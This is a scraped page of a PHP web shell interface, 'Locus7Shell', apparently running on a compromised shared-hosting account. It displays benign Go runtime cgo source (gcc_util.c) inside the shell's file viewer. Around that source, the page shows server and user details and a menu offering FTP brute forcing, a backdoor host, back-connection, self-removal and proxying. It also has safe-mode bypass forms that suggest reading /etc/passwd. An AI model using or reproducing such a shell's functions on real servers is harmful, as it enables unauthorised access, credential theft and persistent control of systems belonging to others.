Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/go/src/runtime/cgo/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     gcc_util.c (1.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

#include "libcgo.h"

/* Stub for creating a new thread */
void
x_cgo_thread_start(ThreadStart *arg)
{
    ThreadStart *ts;

    /* Make our own copy that can persist after we return. */
    _cgo_tsan_acquire();
    ts = malloc(sizeof *ts);
    _cgo_tsan_release();
    if(ts == nil) {
        fprintf(stderr, "runtime/cgo: out of memory in thread_start\n");
        abort();
    }
    *ts = *arg;

    _cgo_sys_thread_start(ts);    /* OS-dependent half */
}

#ifndef CGO_TSAN
void(* const _cgo_yield)() = NULL;
#else

#include <string.h>

char x_cgo_yield_strncpy_src = 0;
char x_cgo_yield_strncpy_dst = 0;
size_t x_cgo_yield_strncpy_n = 0;

/*
Stub for allowing libc interceptors to execute.

_cgo_yield is set to NULL if we do not expect libc interceptors to exist.
*/
static void
x_cgo_yield()
{
    /*
    The libc function(s) we call here must form a no-op and include at least one
    call that triggers TSAN to process pending asynchronous signals.

    sleep(0) would be fine, but it's not portable C (so it would need more header
    guards).
    free(NULL) has a fast-path special case in TSAN, so it doesn't
    trigger signal delivery.
    free(malloc(0)) would work (triggering the interceptors in malloc), but
    it also runs a bunch of user-supplied malloc hooks.

    So we choose strncpy(_, _, 0): it requires an extra header,
    but it's standard and should be very efficient.

    GCC 7 has an unfortunate habit of optimizing out strncpy calls (see
    https://golang.org/issue/21196), so the arguments here need to be global
    variables with external linkage in order to ensure that the call traps all the
    way down into libc.
    */
    strncpy(&x_cgo_yield_strncpy_dst, &x_cgo_yield_strncpy_src,
            x_cgo_yield_strncpy_n);
}

void(* const _cgo_yield)() = &x_cgo_yield;

#endif  /* GO_TSAN */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--